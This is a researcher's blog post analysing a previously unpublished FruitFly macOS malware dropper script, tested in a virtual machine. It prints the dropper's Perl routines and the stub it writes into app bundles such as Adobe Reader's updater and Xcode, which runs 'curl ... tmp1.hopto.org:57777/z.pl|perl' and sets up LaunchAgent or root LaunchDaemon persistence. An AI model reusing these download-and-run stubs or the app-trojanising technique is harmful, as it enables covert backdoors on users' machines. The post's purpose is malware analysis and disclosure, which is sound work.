FruitFly's dropper script and its missing tricks

Note to original post:

This post was originally written back in May 2019 but was removed because of “pressure” from my employer at the time, Apple. It was written over the weekend on my own equipment and was all about information I had way before I joined Apple. Personally I don’t think there is any special drama here other than unreleased technical details about a malware that is dead and its author busted long time ago. When paranoia and envy are dominant then everything can be a potential media drama in people’s mind. It’s all bullshit. My position didn’t change and given that there is an upcoming presentation about this malware by Thomas Reed at Objective By The Sea it’s time to re-release this.


While sorting out my Mac malware collection I found out that I had an unreleased (no known public references) FruitFly/Quimitchin dropper script lost in my archives.

FruitFly made big headlines two years ago and its author has been arrested. It was first reported by MalwareBytes and then a new variant was analysed by Patrick Wardle. Besides being under the radar for more than a decade, it was kind of exotic malware because most of its code was written in Perl. Last time I did something serious in Perl was twenty years ago or so!

It turns out that two years ago @noarfromspace sent me some FruitFly related files, which I stored but never bothered to look at. While sorting out all related files to FruitFly I finally took a peek inside this file because its hash wasn’t mentioned anywhere else.
It is available on VirusTotal with the following SHA256 hash 4df135fd0fcfe3800d5043985ad1be349bd10da5b63a0ef42531e95452d102c7.

This script is responsible for downloading the 2nd stage malicious payload (a Perl script that contains a malicious Mach-O and other files) and creating the persistent LaunchAgent. Executed without arguments it shows the available options:

$ perl dropper.pl 
Usage: dropper.pl [-b] [-u USERNAME] FILE

-b   blocks the original program so it can't run and exit
-u USERNAME  sets the username and the given directory should contain a
             Library/LaunchAgents
FILE can end in /APPNAME.app to automatically append /Contents/MacOS/APPNAME
FILE can end in /Users/USERNAME to do a user (can use "~" on command line)
FILE can end in /+fpsaud to treat up to / as the main drive root and create a
     root infection

FruitFly available public analysis describes persistency only at user level and with a LaunchAgent at ~/Library/LaunchAgents/com.client.client.plist. The contents of that plist as described by MalwareBytes are:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
 <key>KeepAlive</key>
 <true/>
 <key>Label</key>
 <string>com.client.client</string>
 <key>ProgramArguments</key>
 <array>
 <string>/Users/xxxx/.client</string>
 </array>
 <key>RunAtLoad</key>
 <true/>
 <key>NSUIElement</key>
 <string>1</string>
</dict>
</plist>

The generated plist by this script is slightly different in which stdout and stderr are redirected to /dev/null.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>$_[0]</string>
    <key>ProgramArguments</key>
    <array>
        <string>$_[1]</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
    <key>KeepAlive</key>
    <true/>
    <key>NSUIElement</key>
    <string>1</string>
    <key>StandardOutPath</key>
    <string>/dev/null</string>
    <key>StandardErrorPath</key>
    <string>/dev/null</string>
</dict>
</plist>

Let’s play a bit with the different options. The MalwareBytes post can be recreated using FILE can end in /Users/USERNAME to do a user option.

My VM /etc/hosts file points tmp1.hopto.org to localhost, and I set a Python SimpleHTTPServer listening on port 57777. The reason for this is that the second stage payload is downloaded using curl -s tmp1.hopto.org:57777/z.pl. My z.pl is a simple Perl Hello World script.

$ ./dropper.pl /Users/reverser/
Doing user reverser
Wrote /Users/reverser/.client
Created LaunchAgents
Wrote /Users/reverser/Library/LaunchAgents/com.client.client.plist
Done

It matches the plist described by MalwareBytes except for the stdout and stderr redirects.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
        <key>Label</key>
        <string>com.client.client</string>
        <key>ProgramArguments</key>
        <array>
                <string>/Users/reverser/.client</string>
        </array>
        <key>RunAtLoad</key>
        <true/>
        <key>KeepAlive</key>
        <true/>
        <key>NSUIElement</key>
        <string>1</string>
        <key>StandardOutPath</key>
        <string>/dev/null</string>
        <key>StandardErrorPath</key>
        <string>/dev/null</string>
</dict>
</plist>

The .client will be the known malicious Perl script that packs the malicious functionality because it is downloaded by this code:


sub douserdir{
    my $user=shift;
    print "Doing user $user\n";
    $fn.="/" if $fn !~ /\/$/;
    my ($fnc,$ld)=($fn.".client",$fn."Library/LaunchAgents");
    my $fnp="$ld/com.client.client.plist";
    assertgone($fnc,$fnp);
    writeclient($fnc);
    print "Wrote $fnc\n";
    if(!-d $ld){
        docmd("mkdir '$ld'");
        print "Created LaunchAgents\n";
    }
    dowrite($fnp,plistsrc('com.client.client',"/Users/$user/.client"));
    print "Wrote $fnp\n";
}

sub writeclient{
    docmd("curl -s tmp1.hopto.org:57777/z.pl > '$_[0]'");
    assertexists($_[0]);
    docmd("chmod +x '$_[0]'");
}

The fake second stage payload downloaded from our server:

$ cat /Users/reverser/.client 
#!/usr/bin/perl

print "Hello world!\n"

This explains how the “.client” and associated plist are created. Now let’s try the FILE can end in /+fpsaud to treat up to / as the main drive root and create a root infection option.

$ ./dropper.pl /+fpsaud
Doing root /Library/LaunchDaemons/com.adobe.fpsaud2.plist => /Library/Application Support/Adobe/fpsaud
*** /Library/Application Support/Adobe/ does not exist ***

This option only works if there is root access and Adobe software installed (or folder is manually created before). Let’s simulate it:

$ sudo mkdir /Library/Application\ Support/Adobe

$ ./dropper.pl /+fpsaud
Doing root /Library/LaunchDaemons/com.adobe.fpsaud2.plist => /Library/Application Support/Adobe/fpsaud
*** Unable to write to /Library/LaunchDaemons/com.adobe.fpsaud2.plist: Permission denied ***

$ sudo ./dropper.pl /+fpsaud
Doing root /Library/LaunchDaemons/com.adobe.fpsaud2.plist => /Library/Application Support/Adobe/fpsaud
Wrote /Library/LaunchDaemons/com.adobe.fpsaud2.plist
Wrote /Library/Application Support/Adobe/fpsaud
Done

The plist looks the same as before except the Label and ProgramArguments:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
        <key>Label</key>
        <string>com.adobe.fpsaud2</string>
        <key>ProgramArguments</key>
        <array>
                <string>/Library/Application Support/Adobe/fpsaud</string>
        </array>
        <key>RunAtLoad</key>
        <true/>
        <key>KeepAlive</key>
        <true/>
        <key>NSUIElement</key>
        <string>1</string>
        <key>StandardOutPath</key>
        <string>/dev/null</string>
        <key>StandardErrorPath</key>
        <string>/dev/null</string>
</dict>
</plist>

The path points to the known name for B variant fpsaud, and now we know it will contain the known malicious Perl script because the contents of that file are created with the following code (shares the writeclient with previous method):

sub dorootdir{
    my ($rootdir,$plistdir,$plistname,$targetdir,$targetfile)=@_;
    my $fnp="$rootdir$plistdir$plistname.plist";
    my $fnc="$rootdir$targetdir$targetfile";
    print "Doing root $fnp => /$targetdir$targetfile\n";
    assertgone($fnp,$fnc);
    assertexists($rootdir.$plistdir,$rootdir.$targetdir);
    dowrite($fnp,plistsrc($plistname,"/$targetdir$targetfile"));
    print "Wrote $fnp\n";
    writeclient($fnc);
    print "Wrote $fnc\n";
}

sub writeclient{
    docmd("curl -s tmp1.hopto.org:57777/z.pl > '$_[0]'");
    assertexists($_[0]);
    docmd("chmod +x '$_[0]'");
}

We just described the options that were used to infect the target machines with the known public samples (except for the plist differences). The B variant appears to be newer (because the embedded DATA is obfuscated while on variant A it’s not) but the script being used to install it appears to be more or less stable.

Because there is direct code execution these two modes appear to be used when there is interactive access to the victim machine (for example weak RDP/VNC/SSH passwords).

The third persistency method is the most interesting since it’s not (publicly) described anywhere else. Instead of direct code execution, the second stage payload download is achieved by “infecting” regular applications. At first I thought it was being used as alternative persistency but it’s not.

Let’s try to infect Adobe Reader (the target is Adobe Reader XI, AdbeRdr11010_en_US.dmg).

$ ./dropper.pl /Applications/Adobe\ Reader.app/
Translated to /Applications/Adobe Reader.app/Contents/MacOS/Updater/Adobe Reader Updater Helper.app/Contents/MacOS/Adobe Reader Updater Helper
*** Adobe without blocking ****
Moved original, appending 2
Wrote dropper to /Applications/Adobe Reader.app/Contents/MacOS/Updater/Adobe Reader Updater Helper.app/Contents/MacOS/Adobe Reader Updater Helper
Done

Verifying the infection:

$ cd "/Applications/Adobe Reader.app/Contents/MacOS/Updater/Adobe Reader Updater Helper.app/Contents/MacOS/"
$ ls
Adobe Reader Updater Helper     Adobe Reader Updater Helper2
$ ls -la
total 288
drwxrwxr-x  4 root      admin     136 May  6 00:53 .
drwxrwxr-x  7 root      admin     238 Dec  3  2014 ..
-rwxr-xr-x  1 reverser  admin     179 May  6 00:53 Adobe Reader Updater Helper
-rwxrwxr-x  1 root      admin  142560 Dec  3  2014 Adobe Reader Updater Helper2

$ cat Adobe\ Reader\ Updater\ Helper
#!/usr/bin/perl
system "curl -s tmp1.hopto.org:57777/z.pl|perl&";
if(open F,'>>','/Applications/.z'){print F localtime()."\t".join(' ',$0,@ARGV)."\n";close F;}
exec $0.'2',@ARGV;

If we launch Adobe Reader and press check updates we can observe the execution of infected helper and the dropper payload download:

127.0.0.1 - - [06/May/2019 00:57:54] "GET /z.pl HTTP/1.1" 200 -

An execution log is available:

bash-3.2$ cat /Applications/.z 
Mon May  6 00:57:53 2019        /Applications/Adobe Reader.app/Contents/MacOS/Updater/Adobe Reader Updater Helper.app/Contents/MacOS/Adobe Reader Updater Helper semi-auto

Because blocking option wasn’t used, the Adobe update process will proceed. After the update is finished the backdoor is removed as expected (assuming there is an update) and everything looks normal, except that if the dropper was successful there is now a backdoor running in the system.

$ ls -la
total 568
drwxrwxr-x  4 root  admin     136 May  6 01:01 .
drwxrwxr-x  7 root  admin     238 May  6 01:01 ..
-rwxrwxr-x  1 root  admin  146976 Nov  1  2017 Adobe Reader Updater Helper
-rwxrwxr-x  1 root  admin  142560 Dec  3  2014 Adobe Reader Updater Helper2

To guarantee the execution in case the update isn’t executed a LaunchAgent was also installed:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
        <key>Label</key>
        <string>com.adobe.ARM.202f4087f2bbde52e3ac2df389f53a4f123223c9cc56a8fd83a6f7ae</string>
        <key>ProgramArguments</key>
        <array>
                <string>/Applications/Adobe Reader.app/Contents/MacOS/Updater/Adobe Reader Updater Helper.app/Contents/MacOS/Adobe Reader Updater Helper</string>
                <string>semi-auto</string>
        </array>
        <key>RunAtLoad</key>
        <true/>
        <key>StartInterval</key>
        <integer>12600</integer>
</dict>
</plist>

FruitFly has specific code to support this third mode on a few variants of Adobe Acrobat Reader, Google Chrome, and TOCGenerator (this appears to be some HP related software).

There is also the -b option that blocks the original program from running.

$ ./dropper.pl -b /Applications/Adobe\ Reader.app/
Using blocking
Translated to /Applications/Adobe Reader.app/Contents/MacOS/Updater/Adobe Reader Updater Helper.app/Contents/MacOS/Adobe Reader Updater Helper
Moved original, appending 2
Wrote dropper (with blocking) to /Applications/Adobe Reader.app/Contents/MacOS/Updater/Adobe Reader Updater Helper.app/Contents/MacOS/Adobe Reader Updater Helper
Done

And the blocking code:

$ cat Adobe\ Reader\ Updater\ Helper
#!/usr/bin/perl
if(open F,'>>','/Applications/.z'){print F localtime()." b\t".join(' ',$0,@ARGV)."\n";close F;}
system "curl -s tmp1.hopto.org:57777/z.pl|perl";
if(-e '/Applications/.z' && open F,'>>','/Applications/.z'){print F localtime()." exit\n";close F;}

The execution log:

Mon May  6 01:21:17 2019 b      /Applications/Adobe Reader.app/Contents/MacOS/Updater/Adobe Reader Updater Helper.app/Contents/MacOS/Adobe Reader Updater Helper semi-auto
Mon May  6 01:21:17 2019 exit

In this case the update helper will never be executed, hence the blocking. Cute!

While there is specific code for Adobe and other apps, any target app can be used. Let’s try with a different application in blocking mode (it’s a fresh El Capitan VM so Xcode was the only non SIP protected application I had):

$ ./dropper.pl -b /Applications/Xcode.app/
Using blocking
Translated to /Applications/Xcode.app/Contents/MacOS/Xcode
*** unknown blocking ****
Moved original, appending 2
Wrote dropper (with blocking) to /Applications/Xcode.app/Contents/MacOS/Xcode
Done

The execution log when we start Xcode:

$ cat /Applications/.z
Mon May  6 01:21:17 2019 b      /Applications/Adobe Reader.app/Contents/MacOS/Updater/Adobe Reader Updater Helper.app/Contents/MacOS/Adobe Reader Updater Helper semi-auto
Mon May  6 01:21:17 2019 exit
Mon May  6 01:29:59 2019 b      /Applications/Xcode.app/Contents/MacOS/Xcode
Mon May  6 01:29:59 2019 exit

Xcode doesn’t really start but the backdoor is downloaded:

127.0.0.1 - - [06/May/2019 01:29:59] "GET /z.pl HTTP/1.1" 200 -

If we remove the infection and install again without blocking:

$ ./dropper.pl /Applications/Xcode.app/
Translated to /Applications/Xcode.app/Contents/MacOS/Xcode
Moved original, appending 2
Wrote dropper to /Applications/Xcode.app/Contents/MacOS/Xcode
Done

This time Xcode runs normally but

127.0.0.1 - - [06/May/2019 01:31:27] "GET /z.pl HTTP/1.1" 200 -
$ cat /Applications/.z
Mon May  6 01:21:17 2019 b      /Applications/Adobe Reader.app/Contents/MacOS/Updater/Adobe Reader Updater Helper.app/Contents/MacOS/Adobe Reader Updater Helper semi-auto
Mon May  6 01:21:17 2019 exit
Mon May  6 01:29:59 2019 b      /Applications/Xcode.app/Contents/MacOS/Xcode
Mon May  6 01:29:59 2019 exit
Mon May  6 01:31:27 2019        /Applications/Xcode.app/Contents/MacOS/Xcode

The main difference is that non supported target applications do not get a plist created so the only visible sign of infection is the modified application bundle.

This dropper script sheds some “new” light into FruitFly bag of tricks. It still doesn’t help to understand the infection vector, which has been described as port scanning for services with weak or no passwords. You can read FBI’s flash alert copy here:

The attack vector included the scanning and identification of externally facing Mac services to include the Apple Filing Protocol (AFP, port 548), RDP, VNC, SSH (port 22), and Back to My Mac (BTMM), which would be targeted with weak passwords or passwords derived from 3rd party data breaches.

In this scenario, the script would be used to write the dropper to the remotely mounted drive and wait for code execution that would retrieve the main malicious Perl script. The script is versatile enough to be used under the services described by the FBI flash alert. The flash alert has IOCs for tmp1.hopto.org and tmp2.hopto.org addresses, so the FBI probably had access to other version(s) of this script (those addresses don’t show up in the previous known malware scripts/binaries).

This script allows us to understand a bit more about FruitFly and its modus operandi. The attacks via AFP now make sense because this script shows how that kind of access was being leveraged.

FruitFly was indeed a peculiar piece of malware developed and used by a single person for more than a decade. I wonder why Perl was used for all this.

Big thanks to @noarfromspace for finding the script, even if it took me almost two years to look at it :-).

Have fun,
fG!